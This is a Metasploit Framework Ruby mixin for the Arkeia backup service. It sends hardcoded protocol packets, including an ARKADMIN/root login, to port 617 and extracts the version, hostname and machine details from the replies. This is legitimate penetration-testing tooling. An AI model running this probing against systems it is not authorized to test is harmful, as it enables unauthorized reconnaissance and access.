metasploit-framework/lib/msf/core/exploit/arkeia.rb

221 lines
4.7 KiB
Ruby

require 'msf/core'
module Msf
###
#
# This module exposes methods for manipulating the Arkeia backup service
#
###
module Exploit::Remote::Arkeia
include Exploit::Remote::Tcp
#
# Creates an instance of a MSSQL exploit module.
#
def initialize(info = {})
super
# Register the options that all FTP exploits may make use of.
register_options(
[
Opt::RHOST,
Opt::RPORT(617),
], Msf::Exploit::Remote::Arkeia)
self.recv_buff = ''
end
#
# Flush the receive buffer on a new connection
#
def connect
super
self.recv_buff = ''
end
#
# This method dumps some information about the service
#
def arkeia_info
connect
info = { }
resp = ''
# Authenticate1
req =
"\x00\x41\x00\x00\x00\x00\x00\x73"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x7f\x00\x00\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x01\x00\x00\x7f\x41\x52\x4b\x41"+
"\x44\x4d\x49\x4e\x00\x72\x6f\x6f"+
"\x74\x00\x72\x6f\x6f\x74\x00\x00"+
"\x00\x34\x2e\x33\x2e\x30\x2d\x31"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00"
sock.put(req)
resp = arkeia_recv()
if (not (resp and resp[0,4] == "\x00\x60\x00\x04"))
disconnect
return false
end
# Authenticate2
req =
"\x00\x73\x00\x00\x00\x00\x00\x0c" +
"\x32\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00"
sock.put(req)
resp = arkeia_recv()
if (not (resp and resp[0,4] == "\x00\x60\x00\x04"))
disconnect
return false
end
# SessionSetup1
req =
"\x00\x61\x00\x04\x00\x01\x00\x15"+
"\x00\x00\x31\x35\x33\x39\x38\x00"+
"\x45\x4e\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00"
sock.put(req)
resp = arkeia_recv()
if (not (resp and resp[0,4] == "\x00\x43\x00\x00"))
disconnect
return false
end
# Begin the ARKADMIN_GET_CLIENT_INFO request
req =
"\x00\x62\x00\x01\x00\x02\x00\x25"+
"\x41\x52\x4b\x41\x44\x4d\x49\x4e"+
"\x5f\x47\x45\x54\x5f\x43\x4c\x49"+
"\x45\x4e\x54\x5f\x49\x4e\x46\x4f"+
"\x00\x32\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00"
sock.put(req)
resp = arkeia_recv()
if (not (resp and resp[0,4] == "\x00\x43\x00\x00"))
disconnect
return false
end
# Complete the ARKADMIN_GET_CLIENT_INFO request
req =
"\x00\x63\x00\x04\x00\x03\x00\x11"+
"\x30\x00\x31\x00\x32\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00"
sock.put(req)
1.upto(5) { |i|
resp = arkeia_recv()
break if not resp
break if resp =~ /VERSION/
}
if (not (resp and resp =~ /VERSION/))
disconnect
return false
end
# Store the version information
mver = resp.match(/IVERSION\x00([^\x00]+)/)
info['Version'] = mver[1] if mver
# Store the hostname information
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
info['Hostname'] = mver[1] if mver
# Begin the ARKADMIN_GET_MACHINE_INFO request
req =
"\x00\x62\x00\x01\x00\x02\x00\x26"+
"\x41\x52\x4b\x41\x44\x4d\x49\x4e"+
"\x5f\x47\x45\x54\x5f\x4d\x41\x43"+
"\x48\x49\x4e\x45\x5f\x49\x4e\x46"+
"\x4f\x00\x33\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00"
sock.put(req)
1.upto(5) { |i|
resp = arkeia_recv()
break if not resp
break if resp[0,2] == "\x00\x43"
}
if (not (resp and resp[0,2] == "\x00\x43"))
disconnect
return info
end
# Complete the ARKADMIN_GET_MACHINE_INFO request
req =
"\x00\x63\x00\x04\x00\x03\x00\x11"+
"\x30\x00\x31\x00\x33\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00"
sock.put(req)
1.upto(5) { |i|
resp = arkeia_recv()
break if not (resp and resp.length > 0)
break if resp[0,2] == "\x00\x69"
}
if (not (resp and resp[0,2] == "\x00\x69"))
disconnect
return info
end
# Finally, parse out and store all the parameters
resp.split("TPVALUE\x00").each { |x|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
if (minf)
info[ minf[2] ] = minf[1]
end
}
disconnect
return info
end
#
# This method reads from the socket and parses out a single
# arkeia response, buffering the rest
#
def arkeia_recv(nsock = self.sock)
if (self.recv_buff.length < 8)
self.recv_buff << (sock.get_once || '')
end
if (self.recv_buff.length < 8)
return false
end
# Read the length header out of the message
dlen = self.recv_buff[6, 2].unpack('n')[0]
# Do we have the entire response message?
if (self.recv_buff.length >= dlen + 8)
return self.recv_buff.slice!(0, dlen + 8)
end
return false
end
attr_accessor :recv_buff
end
end